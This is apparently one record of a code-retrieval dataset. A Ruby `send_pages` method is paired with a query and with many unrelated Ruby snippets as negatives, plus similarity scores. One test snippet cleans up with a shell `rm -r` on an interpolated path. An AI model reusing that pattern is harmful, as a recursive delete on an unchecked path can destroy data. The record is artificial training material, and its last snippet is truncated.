"def test_nUpBooklets_groups\n Metodos.refresh()\n #\n w_=Metodos.nuevo(0,\"point\")\n h_=Metodos.nuevo(0,\"point\")\n wP_=Metodos.nuevo(0,\"point\")\n hP_=Metodos.nuevo(0,\"point\")\n nX=Metodos.nuevo(2,nil)\n nY=Metodos.nuevo(1,nil)\n nPaginas=\"\"\n nPliegos=\"\"\n cuadernillos=true\n #\n esperados=[]\n esperados.push(Clases::Mensaje.new(13))#PreguntacXC\n esperados.push(Clases::Mensaje.new(1))\n esperados.push(Clases::Mensaje.new(2))\n esperados.push(Clases::Mensaje.new(3))\n esperados.push(Clases::Mensaje.new(4))\n esperados.push(Clases::Mensaje.new(5))\n esperados.push(Clases::Mensaje.new(7))\n esperados.push(Clases::Mensaje.new(6))\n esperados.push(Clases::Mensaje.new(8))\n esperados.push(Clases::Mensaje.new(9))\n esperados.push(Clases::Mensaje.new(14))#MensajeTiempo Booklets\n #\n respuestas=[]\n respuestas.push([Clases::PreguntaCXC.new(),Metodos.nuevo(2,nil)])\n respuestas.push([Clases::Pregunta.new(5),false])#PreguntaReducir\n #\n resultado=nUp(w_,h_,wP_,hP_,nX,nY,nPaginas,nPliegos,cuadernillos,esperados,nil,respuestas)\n assert(resultado.yn,resultado.msg)\n ensure\n #limpio todo, aunque se caiga\n if File.dirname($temp)!=nil then\n `rm -r #{File.dirname($temp)}`\n end\n end",
"def simber_count(n)\n lower_range = 10**(n - 1)\n upper_range = (10**n) - 1\n count = 0\n (lower_range..upper_range).each do |i|\n count += 1 if simber_check(i)\n end\n count\nend",
"def build_jobs(count)\n (1..count).each.collect {|i| Tester::Job.new((i - 1) * ($range / count), i * ($range / count) - 1) }\n end",
"def bonus_points_for_days(days) \n raise 'Error: days invalid' unless valid_days?(days)\n return 1\n end",
"def calc_next_run\n nil\n end",
"def calc_next_run\n nil\n end",
"def expected_submissions\n deliverables.count * course.students.count\n end",
"def partial_review_self_check_count\n check_count = 0\n self.sections.each do |s|\n next if !s.dot_rev_check?\n s.subsections.each do |ss|\n next if !ss.dot_rev_check?\n ss.checks.each { |c| check_count += 1 if c.bare_board_design_check? && c.is_self_check? }\n end\n end\n check_count\n end",
"def countPresents(days)\n\tcount = sum = 0\n\tdays.times do\n\t\tcount += 1\n\t\tcountdown = count\n\t\tcount.times do\n\t\t\t#puts \"Adding #{countdown} to #{sum}\"\n\t\t\tsum += countdown\n\t\t\tcountdown -= 1\n\t\tend\n\tend\n\tputs \"after #{days} days of christmas you'd receive #{sum.to_s} presents!\"\nend",
"def countSheeps2 array\n array.count(true)\nend",
"def get_rerun_count(test_objects)\n count = 0\n test_objects.each do |test|\n if test.status == 'failed'\n count +=1\n end\n end\n count\n end",
"def method()\n @workers.size\n end",
"def CompletedKitesCount\n kites.any? ? kites.where(:Completed => true).count : 0\n end",
"def verify_availabilities(users, start_day, finish_day, start_hour = Time.parse(\"00:00\"),\n finish_hour = Time.parse(\"23:59\"), slots_size = SocialFramework.slots_size)\n\n return unless finish_day_ok? start_day, finish_day\n\n @slots_size = slots_size\n start_time = start_day.to_datetime + start_hour.seconds_since_midnight.seconds\n finish_time = finish_day.to_datetime + finish_hour.seconds_since_midnight.seconds\n\n build_users(users)\n build_slots(start_time, finish_time, start_hour, finish_hour)\n\n unless @fixed_users.empty?\n build_edges(@fixed_users, start_time, finish_time)\n\n @slots.select! { |slot| slot.edges.count == @fixed_users.count }\n end\n\n build_edges(@users, start_time, finish_time)\n\n @slots.sort_by! { |slot| -slot.attributes[:gained_weight] }\n end"
] |
[
"0.578286",
"0.5644725",
"0.55621606",
"0.5473797",
"0.5427427",
"0.5424821",
"0.5407498",
"0.5389978",
"0.53689975",
"0.5364893",
"0.5333127",
"0.5312072",
"0.53025943",
"0.5253928",
"0.52538526",
"0.52506834",
"0.52307487",
"0.52279055",
"0.5218273",
"0.5203248",
"0.5203248",
"0.51764274",
"0.5165723",
"0.5161396",
"0.5140174",
"0.5131423",
"0.5121394",
"0.5111644",
"0.5108146",
"0.50888425",
"0.508735",
"0.508709",
"0.50843793",
"0.50678813",
"0.5060778",
"0.5027399",
"0.5019138",
"0.50187635",
"0.5013165",
"0.5002359",
"0.4998852",
"0.499491",
"0.4994413",
"0.49827984",
"0.49780792",
"0.49733964",
"0.49588278",
"0.49585366",
"0.49572164",
"0.495088",
"0.49312496",
"0.49277836",
"0.49269876",
"0.4926089",
"0.49249646",
"0.49208975",
"0.49111372",
"0.490487",
"0.49020228",
"0.4899748",
"0.48924777",
"0.48924777",
"0.4891813",
"0.4884324",
"0.48837122",
"0.48813385",
"0.48776567",
"0.48750523",
"0.48727992",
"0.48712867",
"0.48702198",
"0.48700184",
"0.48700184",
"0.48684806",
"0.48573968",
"0.48553848",
"0.4851386",
"0.4850299",
"0.48490274",
"0.48486516",
"0.48377344",
"0.48245665",
"0.48245665",
"0.4817272",
"0.48155767",
"0.481025",
"0.48098624",
"0.48073116",
"0.4805634",
"0.4798214",
"0.47968394",
"0.47918153",
"0.47918153",
"0.4786804",
"0.47860542",
"0.47848356",
"0.47842112",
"0.47815976",
"0.47812685",
"0.4779643",
"0.47769582"
] |
0.0
|
-1
|
sends all the pages in this message returns the message
|
def send_pages
Msg.resolve(recipient).each do |user|
next if !user.sms_validated?
p = Page.new_page_to_user(self, user)
end
self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def send_page\n send_message(\"page\")\n end",
"def sent\n @messages = current_user.messages.order('created_at DESC').unarchived.paginate(:page => params[:page], :per_page => 10)\n end",
"def page(message, url)\n recipients message.recipients\n from ADMIN_EMAIL\n subject message.subject\n body :message => message, :url => url\n end",
"def send_free_page\n send_free_message(\"page\")\n end",
"def sent\n @notifications = Notification.where(sender: @current_user)\n .order({created_at: :desc})\n .page(page_params[:page])\n .per(page_params[:page_size])\n render_multiple\n end",
"def batch_messages_for_page messages, filter, request_format\n logger.info \"Getting a new page of messages\"\n\n messages.each do |message|\n filter.add(api_method: $gmail_api.users.messages.get,\n parameters: {userId: 'me', id: message.id, format: request_format})\n end\n\n begin\n filtered_message_list(filter) unless messages.empty?\n rescue StandardError => error\n puts \"*** Error : #{error.message}\"\n puts \"*** #{error.backtrace.join(\"\\n\")}\"\n\n retry if retry_it?\n end\n end",
"def index\n @messages = Message.where(:to_user => current_user.id).order('id desc').paginate(:page => params[:page])\n @sent_messages = Message.where(:user_id => current_user.id).order('id desc').paginate(:page => params[:sent_page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @messages }\n end\n end",
"def index\n @type = params[:type]\n @per_page = 7\n if !params[:page].blank?\n @page = params[:page]\n else\n @page = 1\n end\n @sent_count = Message.where('sender_id = ? AND status != 2', current_user.id).count\n @inbox_count = Messaging.where(\"recipient_id = ? AND status = 0\", current_user.id).count\n case @type\n when 'sent'\n @messages = Message.where('sender_id = ? AND status != 2', current_user.id).order('created_at DESC').paginate(:page => @page, :per_page => @per_page)\n else\n @messages = Message.joins(:messagings).where(\"messagings.recipient_id = ? AND messages.status != 2\", current_user.id).order('created_at DESC').paginate(:page => @page, :per_page => @per_page)\n end\n @grouped = @messages.to_a.group_by { |t| t.parent }\n end",
"def received_messages(page = 1)\n _received_messages.paginate(:page => page, :per_page => MESSAGES_PER_PAGE)\n end",
"def index\n collect_messages\n @message = Message.new\n #Stalker.enqueue('email.send', :to => 'joe@example.com')\n end",
"def index\n @messages = current_user.received_messages.paginate(:page => params[:page])\n @title = \"Входящие сообщения\"\n @path = \"index\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"def sent_messages\n get('/direct_messages/sent.json')\n end",
"def messages\n\t\t@content_title = \"Messages\"\n\t\t@messages = Message.paginate(:order => 'created_at DESC', :page => params[:page])\n\tend",
"def index\n @sidemessages = Sidemessage.all\n @sidemessages = Sidemessage.paginate(page: params[:page])\n end",
"def get_messages(page = 0)\r\n if page > 0\r\n message_url = \"/message_threads?page=#{page}\"\r\n else\r\n message_url = \"/message_threads\"\r\n end\r\n response = self.class.get(message_url, headers: { \"authorization\" => @user_auth_token })\r\n JSON.parse(response.body)\r\n end",
"def enquiries\n messages = CustomMessage.includes(:sent_messageable, :documentable).where(received_messageable: @user, ancestry:nil)\n messages = messages.limit(params[:limit])\n\n if messages\n @message_parents = messages\n else\n @object = \"Message\"\n render \"api/v1/errors/404\", status: 404\n end\n end",
"def get_messages( page=0 )\n\t result = []\n\t if page > 0\n\t response = self.class.get( '/message_threads', body: { page: page }, headers: {'authorization' => @auth_token} )\n\t JSON.parse( response.body )\n\t else\n\t response = self.class.get( '/message_threads', body: { page: 1 }, headers: {'authorization' => @auth_token} )\n for page in 1..(response[\"count\"]/10 + 1)\n response = self.class.get( '/message_threads', body: { page: page }, headers: {'authorization' => @auth_token} )\n result << JSON.parse(response.body)\n end\n result\n\t end\n\tend",
"def index\n @messages = Message.order(\"time desc\").page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"def show\n @messaging = @message.messagings.where(recipient_id: current_user.id).first\n if !@messaging.blank?\n @messaging.status = 1\n @messaging.save\n end\n @children = Messaging.where('message_id in (?) AND recipient_id = ?', @message.children.pluck(:id), current_user.id)\n for child in @children\n child.status = 1\n child.save\n end\n if !params[:page].blank?\n @page = params[:page]\n else\n @page = 1\n end\n if !params[:type].blank?\n @type = params[:type]\n else\n @type = 'inbox'\n end\n end",
"def index\n ###FIRST THING: MOVE THIS TO MODEL SO IT RETURNS WHAT YOU WANT FOR @message. Set @message that way!\n case params[:type]\n when 'hits'\n @messages = current_user.received_messages.active.where(\"messageable_type = 'Unlisting'\").paginate(page: params[:page]) #NOT replies\n when 'received'\n @messages = current_user.received_messages.active.where.not(\"messageable_type = 'Message'\").paginate(page: params[:page]) #NOT replies\n when 'sent'\n @messages = current_user.sent_messages.active.where.not(\"messageable_type = 'Message'\").paginate(page: params[:page]) #NOT replies\n else\n @messages = current_user.all_msgs_sent_received.paginate(page: params[:page])\n end\n\n respond_to do |format|\n format.any(:html, :js) { render 'index' }\n end\n end",
"def visit_inbox\n get '/messages'\n end",
"def send_messages\n if Message.send_messages()\n render json: {status: :ok}\n else\n render json: \"Error\"\n end\n end",
"def indexs \n @messages = Message.all\n #@messages = Kaminari.paginate_array(messages).page(params[:page])\n end",
"def direct_messages_sent(params = {})\n get \"direct_messages/sent\", params\n end",
"def sentbox \n add_breadcrumb \"Sentbox\"\n\n @sentbox = current_user.mailbox.sentbox.page(params[:page])\n\n respond_with(@sentbox)\n end",
"def read_all_messages\n post(\"/api/read_all_messages\")\n end",
"def send_page(email_alert)\n @body = email_alert.all_params.body\n settings = Setting.first\n\n\n mail to: settings.pager_email, subject: email_alert.subject, from: ENV[\"FROM_EMAIL\"]\n end",
"def index\n if cookies[:view] == 'thread'\n @messages = Message.paginate(:page => params[:page], :per_page => 20, :conditions => \"parent_id = 0\", :order => \"created_at DESC\")\n else\n @messages = Message.paginate(:page => params[:page], :per_page => 50, :order => 'created_at DESC')\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.iphone # index.iphone.erb\n format.xml { render :xml => @messages }\n end\n end",
"def index\n #@messages = Message.all\n \n @messages = Message.page(params[:page]).order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"def get_new_messages\n get_messages_link_and_content\n end",
"def messages\n proxy_exceptions do\n @page.conversations.map do |conversation|\n conversation.messages.map do |data|\n Services::Facebook::Message.new do |message|\n message.id = data.identifier\n message.message = data.message\n message.created_at = data.created_time\n message.author = Services::Facebook::User.new do |user|\n user.id = data.from.identifier\n user.name = data.from.name\n end\n end\n end\n end.flatten\n end\n end",
"def index\n if params[:send]\n @title = \"Enviados\"\n @messages = Message.where(sender_id: current_user.id).order(created_at: :desc)\n else\n @title = \"Recibidos\"\n @messages = Message.where(receiver_id: current_user.id).order(created_at: :desc)\n end\n end",
"def next_message; end",
"def next_message; end",
"def pending_pages\n @queue_hndl.each_with_index do |pair, i|\n l, h = pair # [level, handle]\n if @page=@agent.t_get(h) # @page refers to the page to be\n # parsed (as seen by all parsers)\n #print_debug 0, \"Processant (1) handle #{h}\"\n if @page != \"\" # \"\" indicates unavoidable error\n @total_bytes += @page.content.size\n @total_pages += 1\n @web_dump.save(@page.uri.to_s, @page.content.to_s) if @web_dump\n print_log(:info, \"TA##{h} Received Page OK\") if @log\n process_level(l)\n end\n @queue_hndl.delete_at(i) # delete pair i\n end\n end\n @queue_hndl.size\n end",
"def send_page\n begin\n vp = VirtualPager.find_by_id(self.virtual_pager_id)\n message = \"#{self.urgency_as_symbol}, #{vp.short_code}, ##{self.patient_id}: #{self.message}\"\n return vp.send_page(message)\n rescue\n return false\n end\n end",
"def index\n @messages = Message.none_system_message.paginate(:all, :order => \"messages.sent_at DESC\", :page => params[:page], :per_page => 20)\n @sub_partial = \"/admin/messages/inbox\" \n render_list\n end",
"def dispatch_message(bot, pns)\n message = bot.paginate_response(pns, takeoff=16)\n\n @config[:channel_for_announce].each do |channel|\n channels = bot.find_channel(channel)\n puts \"CHANNELS: #{channels}\"\n\n channels.each do |channel|\n if config[:announce_tags].length > 0\n channel.send_message config[:announce_tags].join(\" \")\n end\n\n message.map { |m| channel.send_message \"```Markdown\\n#{m}```\" }\n end\n end\n end",
"def publish message, root\n puts \"message: #{message.inspect}\"\n puts \"text: #{message['text']}\"\n @messages.shift if @messages.size == @@MAX_MESSAGES \n @messages << { 'head' => '?', 'text' => message[ 'text' ] }\n\n root[ @@CHAT_CHANNEL ] = @messages\n\n [ true, 200 ]\n end",
"def sync_paged_history(channel, page, limit, include_token, callback, timetokens)\n envelopes = []\n page.times do |_i|\n envelope = history(\n channel: channel,\n include_token: include_token,\n http_sync: true,\n count: limit,\n start: timetokens[:start],\n end: timetokens[:end]\n )\n\n break if envelope.result[:data][:messages].empty?\n\n envelopes.push envelope\n timetokens[:start] = envelope.result[:data][:start].to_i\n # No need to iterate further if there is no more messages.\n break if envelope.result[:data][:messages].length < limit\n end\n\n call_callback(envelopes, callback)\n end",
"def index\n # @qx_messages = Qx::Message.all\n \n per_page = params[:per_page] || 100\n @q = Qx::Message.ransack(params[:q])\n @qx_messages = @q.result().paginate(:page => params[:page], :per_page => per_page)\n end",
"def index\n @message_logs = MessageLog.ordered.paginate(page: params[:page])\n end",
"def index\n @messages = StarshipMessage.paginate( :page => params[:page], :per_page => 50, \n :conditions => [\"person_id=?\", @loggedin_user.id ], :order => \"id DESC\" )\n end",
"def mails\n\n begin\n @imap = WmailImapUtils.current_imap\n \n if not @imap.blank?\n @mailbox = params['mailbox']\n @min = params['min'].to_i\n @max = params['max'].to_i\n @total = params['total'].to_i\n\n @imap.select(@mailbox)\n @mails = @imap.fetch(@total-@max..@total-@min, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n end\n rescue\n redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'\n end\n end",
"def index\n @text_messages = TextMessage.order(@order).paginate(@page)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @text_messages, callback: params[:callback] }\n format.xml { render xml: @text_messages }\n end\n end",
"def index\n page = params[:page]\n @messages = chat_messages(@chat).paginate(page, 2)\n end",
"def index\n @home_id = params[:home_id]\n params[:page] ? @page = params[:page] : @page = 1\n @message_boards = MessageBoard.return_current_page_message_boards(@home_id, @page)\n @always_page = MessageBoard.count_page(@home_id)\n\n end",
"def get_messages_link_and_content()\n dputs __method__.to_s\n urls = {:public => []}\n # public messages\n message_req = setup_http_request($messages, @cookie)\n res = @http.request(message_req)\n urls[:public] = messages_parsing(res.body.force_encoding('utf-8'))\n msgs = {:public => []}\n until urls.empty?\n k, uu = urls.shift\n next if uu == nil\n uu.map{|u|\n get_conversations(u, k.to_s).map do |m|\n next if not m\n msgs[k] << m\n end\n }\n end\n # ex: {:public => [{:msg=>[\"[Aujourd'hui à 09h48] Miguel L : \\\"BONJOUR GREG vous arrive jusque a la gare pardieu\\\"\", \"...\"], :url=>\"/messages/respond/kAxP4rA...\", :token => \"XazeAFsdf...\"}], :private => [{:msg => ...}]\n return msgs\n end",
"def sent\n @direct_messages = current_user.sent_messages.where(_type: 'DirectMessage')\n respond_with @direct_messages\n end",
"def direct_messages(params = {})\n get \"direct_messages\", params\n end",
"def process_msgs\n end",
"def index\n @messages = current_center.messages.order(\"created_at DESC\").page params[:page]\n end",
"def view_html\n\n $anterior = params[:id].to_i - 1\n $siguiente = params[:id].to_i - 1\n\n $buscar_texto = nil\n $buscar_por = nil\n\n ENV['folder'] = 'mailbox'\n load 'script/mailman_server.rb'\n\n adjuntos = ''\n\n @@messages.each do |message|\n @from = message[:from]\n @to = message[:to]\n @cc = message[:cc]\n @bcc = message[:bcc]\n @subject = message[:subject]\n @date = message[:date]\n @text = message[:text_body]\n @html = message[:html_body]\n end\n\n cc_list = @cc.length > 0 ? 'Cc: <span style=\"word-wrap: break-word;\">' + @cc + '</span><br>' : ''\n bcc_list = @bcc.length > 0 ? 'Cco: <span style=\"word-wrap: break-word;\">' + @bcc + '</span><br>' : ''\n\n @@the_message_attachments.each do |att|\n adjuntos += '<li> <a style=\"color:#666; text-decoration:none;\" href='+att.attached_file.url(:original, false)+' target=\"_blank\">'+att.attached_file_file_name+'</a> </li>'\n end\n\n adjuntos_list = (adjuntos.length > 0) ? 'Adjuntos: <ul>' + adjuntos + '</ul>' : ''\n\n # render file: 'messages/view_html'\n\n respond_to do |format|\n format.html {\n render text: '<div class=\"container-fluid\"> ' +\n '<br>' +\n 'De: ' + @from +\n '<br>' +\n 'A: <span style=\"word-wrap: break-word;\">' + @to + '</span>' +\n '<br>' +\n cc_list +\n bcc_list +\n adjuntos_list +\n '<hr class=\"col-lg-12\">' +\n '</div>' + @html, :layout => false\n }\n # format.html {\n # render text: '<div class=\"container-fluid\">' +\n # '<div class=\"col-md-12\" style=\"background-color: #ced8e1\">' +\n # '<h4>' + @subject + '</h4>' +\n # '<hr style=\"margin-top: 0px; border-top: 1px solid #235589\">' +\n # '<strong>' + @from + '</strong>' +\n # '<br>' +\n # '<div style=\"max-width: 90%; float: left\">' +\n # '<small>Para ' + @to[0..50] + '</small>' +\n # '</div>' +\n # '<div style=\"margin-left: 5px; max-width: 1%; float: left\">' +\n # '<div class=\"dropdown\">' +\n # '<button class=\"btn btn-default btn-xs\" type=\"button\" data-toggle=\"dropdown\" aria-haspopup=\"true\">' +\n # '<span class=\"caret\"></span>' +\n # '</button>' +\n # '<div class=\"dropdown-menu\"\n # style=\"word-wrap: break-word;\n # width: 500px;\n # padding: 20px;\n # height: 300px;\n # overflow: auto\">' +\n # '<table>\n # <tr>\n # <td valign=\"top\">De:</td>\n # <th>' + @from + '</th>\n # </tr>\n # <tr>\n # <td valign=\"top\">Para:</td>\n # <td>' + @to + '</td>\n # </tr>\n # <tr>\n # <td valign=\"top\">Fecha:</td>\n # <td>' + @date + '</td>\n # </tr>\n # <tr>\n # <td valign=\"top\">Asunto:</td>\n # <td>' + @subject + '</td>\n # </tr>\n # </table>\n # </div>\n # </div>\n # </div>\n # </div>\n # </div>'\n # }\n format.json {\n render json: {\n message: @html\n }\n }\n end\n\n end",
"def index\n count = params[:show_all] ? nil : 10\n @website_messages = Message.where(\"kind = ?\", 'website').order(\"created_at DESC\").limit(count)\n @voicemail_messages = Message.where(\"kind = ?\", 'voicemail').order(\"created_at DESC\").limit(count)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"def update_messages(pages = 15)\n most_recent_message = self.messages.first(:order => 'DESC', :by => :message_id) \n since_id = most_recent_message.nil? ? 0 : most_recent_message.message_id\n\n search_messages = []\n pages.times do |page|\n s = search(self.query, since_id, SEARCH_PER_PAGE_LIMIT, page+1)\n break if s.results.nil?\n search_messages += s.results\n break if s.results.size < 99 \n end\n \n search_messages.each do |message| \n m = Message.find_or_create(:message_id, message.id)\n \n m.update(\n :message_id => message.id, \n :favorited => message.favorited, \n :photos_parsed => '0',\n :links_parsed => '0', \n :created_at => Time.now.utc.to_s, \n :sent_at => message.created_at,\n :text => message.text, \n :from_screen_name => message.from_user) # we explicitly don't include the user_id provided by search since it's bullshit: http://code.google.com/p/twitter-api/issues/detail?id=214\n \n next if !m.valid?\n \n # create the user for this message\n u = User.find_or_create(:screen_name, message.from_user)\n u.update(\n :user_id => message.from_user_id,\n :profile_image_url => message.profile_image_url)\n\n self.messages << m unless self.messages.include?(m)\n end\n \n search_messages.flatten\n end",
"def index\n @sms_sends = SmsSend.order(\"created_at DESC\").page(params[:page]).per(10)\n end",
"def makePage(pyro, msgs )\n\n user_id = msgs[0][\"to\"]\n if user_id == $me\n user_id = msgs[0][\"from\"]\n end\n user_info = pyro.info_for_user(user_id)\n # Make sure the account still exists\n if user_info.body.length > 0 && user_info[\"status\"] != \"500\" then\n user_name = user_info[\"results\"][\"name\"]\n photo = user_info[\"results\"][\"photos\"][0]\n if !File.exist?($img_path+photo[\"fileName\"]) then\n File.open($img_path+photo[\"fileName\"], \"wb\") do |f| \n f.write HTTParty.get(photo[\"processedFiles\"][3][\"url\"]).parsed_response\n end\n end\n # Make header\n pagestr = \"\"\n pagestr += \"title: #{user_name} (#{msgs.length} messages)\\n\"\n pagestr += \"slug: #{user_id}\\n\"\n pagestr += \"date: #{msgs[-1][\"sent_date\"]}\\n\"\n pagestr += \"author: Mike the Turtle\\n\"\n pagestr += \"image: #{photo[\"fileName\"]}\\n\\n\\n\"\n\n # Format messages\n for msg in msgs\n pagestr += \"(#{msg[\"sent_date\"]}) \"\n if msg[\"from\"] == $me\n pagestr += \"Mike: \"\n else\n pagestr += \"#{user_name}: \"\n end\n \n pagestr += msg[\"message\"]\n pagestr += \"\\n\\n\"\n \n end\n\n File.open($page_path+user_id+\".md\", 'w') do |f|\n f.write(pagestr)\n end\n end\n \nend",
"def index\n @text_messages = @profile.text_messages.paginate(:all, :page => params[:page], :order => 'created_at desc', :per_page => 15)\n\n respond_to do |format|\n format.mobile\n format.html # index.html.erb\n format.xml { render :xml => @text_messages }\n end\n end",
"def index\n messages = ( can? :manage, Message ) ? Message.all : Message.for_member(current_member)\n @messages = messages.by_created.paginate(page: params[:page], per_page: 15)\n\n current_member.last_message = @messages.first\n current_member.save\n end",
"def index\n @messages = current_user.received_messages\n @messages = @messages.order(created_at: :desc)\n @messages = @messages.paginate(page: params[:page], per_page:5)\n @messages = @messages.to_a\n end",
"def index\n @direct_messages = DirectMessage.get_direct_messages(current_user)\n \n @recipients = User.reachable_users(current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @direct_messages }\n end \n end",
"def sent\n @messages = Message.sent_by current_user\n end",
"def send_messages(messages)\n messages.each { |m| write_to_stream m }\nend",
"def index\n @conversations = Conversation.involving(current_user)\n conversations_new_message = Array.new\n unread = 0\n\n @conversations.each do |conversation|\n conversation.last_message = ActionView::Base.full_sanitizer.sanitize(conversation.messages.order('created_at').last.body[0..75])\n conversation.last_message_date = conversation.messages.order('created_at').last.created_at\n conversation.count_unread = conversation.messages.unread(conversation.id, current_user).size\n\n size = conversation.messages.unread(conversation.id, current_user).size\n if size > 0\n conversations_new_message.push(conversation)\n unread = unread + size\n end\n\n @subs=current_user.subscribtions\n end\n\n conversations_new_message.each do |conversation|\n set_messages_receive(conversation, false)\n end\n\n if unread > 0\n if unread == 1\n flash[:info] = t('welcome.you_have') + unread.to_s + t('welcome.unread_message')\n else\n flash[:info] = t('welcome.you_have') + unread.to_s + t('welcome.unread_messages')\n end\n end\n\n @invites = Invite.by_recipient_id(current_user.id).order('id');\n\n\n end",
"def index\r\n @channel.users << current_user unless @channel.users.include? current_user\r\n @messages = Message.where(channel: @channel).order(created_at: :desc).page(params[:page]).per_page(30)\r\n @possible_subscribers = User.not_subscribed_to @channel\r\n @channel.mark_messages_read_for current_user\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.js # index.js.erb\r\n end\r\n end",
"def index\n @message_items = MessageItem.all\n end",
"def index\n super\n @messages = Message.all\n end",
"def index\n\t\t@messages = Message.where(:to_user => current_user.id)\n\t\trespond_with(@messages) \n\tend",
"def messaging\n end",
"def index\n @page_title = \"Messages\"\n @message_threads = MessageThread.related_to(current_user)\n @message_thread = @message_threads.first\n if @message_thread\n @message_thread.mark_read!(current_user)\n end\n end",
"def makePages( pyro )\n # Fetch updates from two days ago\n updates = pyro.fetch_updates($last_update)\n\n puts \"Found #{updates[\"matches\"].length} matches\"\n\n # We have new messages or new matches\n if updates[\"matches\"] != nil and updates[\"matches\"].length > 0 then\n # Iterate every new match update\n for match in updates[\"matches\"]\n\n # Check if we have a conversation going\n if match[\"messages\"] != nil && match[\"messages\"].length > 1 then\n puts \"Making page\"\n makePage(pyro, match[\"messages\"])\n end\n end\n end\nend",
"def collect_new_messages(start_page = 1, page_count = 1)\n gotten_new_links = get_new_links(start_page, page_count)\n \n non_existing_links = remove_existing_links(gotten_new_links)\n \n non_existing_links.to_a.collect { |link_info| get_info_obj(link_info[0], link_info[1]) }.compact\n end",
"def index\n messages = Message.all\n end",
"def send_page(outbound)\n begin\n # the page needs to have an id\n outbound.status = STATUS_PENDING\n outbound.save!\n\n case outbound.text\n when /fail/i\n outbound.status = STATUS_FAILED\n outbound.save!\n when /error(.*)/i\n raise Error.new(00, $1)\n else\n # succeed by default\n outbound.status = STATUS_DELIVERED\n outbound.sent_id = 999\n outbound.sent_at = Time.zone.now\n outbound.save!\n end\n rescue Error => e\n log_an_error \"TestSession.send_page\", \"Error #{e.inspect}\"\n # try to save it to the outbound message\n outbound.status = STATUS_FAILED\n outbound.status_string = \"Error:#{e.message} (#{e.code})\"\n outbound.save\n raise\n end\n @events.push([\"send_page\", outbound])\n return outbound\n end",
"def send_pending_messages\n self.mailbox.conversations.where(mailboxer_label_id: Mailboxer::Label::INFORMATION.id).each do |conversation|\n # Get the message that should have been sent\n message = conversation.messages.first\n # Select the admin who should receive the message\n recipient = message.recipients.detect{ |recipient| recipient.is_a? Admin }\n MailboxerMessageMailer.delay(queue: 'mailers').new_message_email_to_admin(message, recipient)\n end\n nil\n end",
"def send_message(message); end",
"def send_message(message); end",
"def index\n @inbox = Email.to(@user.name)\n process_incoming(@inbox)\n @sent = Email.from(@user.name)\n end",
"def index\n type = params[:message_type]\n @sysnews = Message.sysnews.joins(:user).first if type.eql?('news')\n @messages = messages(type)\n @messages = @messages.joins(:user)\n @messages = @messages.page(params[:page]).per(5)\n end",
"def pages; end",
"def index\n @system_message = SystemMessage.new params.require(:system_message).permit(:type) unless params[:system_message].nil?\n @system_message = SystemMessage.new if params[:system_message].nil?\n @page = params[:page].nil? ? 1 : params[:page].to_i\n from_to = (@page-1) * GlobalSettings.per_page\n @system_messages = SystemMessage.where(:type => 1) if @system_message.type.nil?\n @system_messages = SystemMessage.where(:type => @system_message.type) unless @system_message.type.nil?\n @system_messages = @system_messages.skip(from_to).limit(GlobalSettings.per_page).sort(:created_at => -1)\n @system_messages_count = SystemMessage.where(:type => 1).count\n @system_messages_count = @system_messages_count % GlobalSettings.per_page == 0 ? @system_messages_count/GlobalSettings.per_page : @system_messages_count/GlobalSettings.per_page + 1\n \n end",
"def index\n @worker_messages = WorkerMessage.all\n end",
"def pages\n end",
"def index\n @messages = apply_scopes(scope.messages)\n @messages.read!\n respond_to do |format|\n format.html {\n redirect_to action: :inbox\n }\n format.json\n format.js\n end\n end",
"def page\n if request.post?\n # create full URL from provided details\n @bulletin = @project.bulletins.find_by_name(params[:bulletin_name])\n if (@bulletin)\n forward_url = BcomposerLinkHelper.url_for(:page, :bulletin => @bulletin, :page => params[:page_name])\n email = @project.templets.find_by_name('EMAIL_FORWARD_PAGE')\n Notifier::deliver_message(email, :recipient => @recipient, :forward_url => forward_url, :comment => params[:comment])\n \n render :text => @project.templets.find_by_name('PAGE_FORWARD_PAGE_OK').render( @project, params ), :layout => true\n return\n end\n end\n render :text => @project.templets.find_by_name('PAGE_FORWARD_PAGE').render( @project, params ), :layout => true\n end",
"def index\n @message = Message.all\n end",
"def index\n\n if params[:user_id]\n @messages = Message.where(:user_id => params[:user_id].to_i)\n else\n @messages = Message.all\n end\n if params[:page] and params[:per_page]\n @messages = @messages.paginate(:per_page=>params[:per_page].to_i,:page=>params[:page].to_i).order(\"id desc\")\n @page = params[:page]\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :messages }\n end\n end",
"def read\n conversation = Conversation.find(params[:id])\n if conversation\n if conversation.buyer_id == @current_user.id || conversation.seller_id == @current_user.id\n\n\t\tif(conversation.buyer_id == @current_user.id)\n\t\t conversation.buyer_marker = conversation.messages.count \n\t\telse\n\t\t conversation.seller_marker = conversation.messages.count\n\t\tend\n\t\tconversation.save()\n \n params[:messages_per_page] ||= 10\n params[:page] ||= 1\n\n messages_per_page = params[:messages_per_page].to_i\n page = params[:page].to_i\n\n offset = (page - 1) * messages_per_page\n \n message_ids = conversation.message_ids\n \n messages = Message.where(id: message_ids)\n .limit(params[:messages_per_page])\n .offset(offset)\n .order(created_at: :desc)\n .all\n \n messages_for_json = []\n messages.reverse_each do |message|\n messages_for_json << {\n user_id: message.user_id,\n message: message.message,\n created_at: message.created_at.strftime('on %-m/%-d/%Y at %-l:%M%P')\n }\n end\n payload = {\n id: conversation.id,\n seller: {\n user_id: conversation.seller.id,\n username: conversation.seller.username,\n first_name: conversation.seller.first_name,\n last_name: conversation.seller.last_name\n },\n buyer: {\n user_id: conversation.buyer.id,\n username: conversation.buyer.username,\n first_name: conversation.buyer.first_name,\n last_name: conversation.buyer.last_name\n },\n 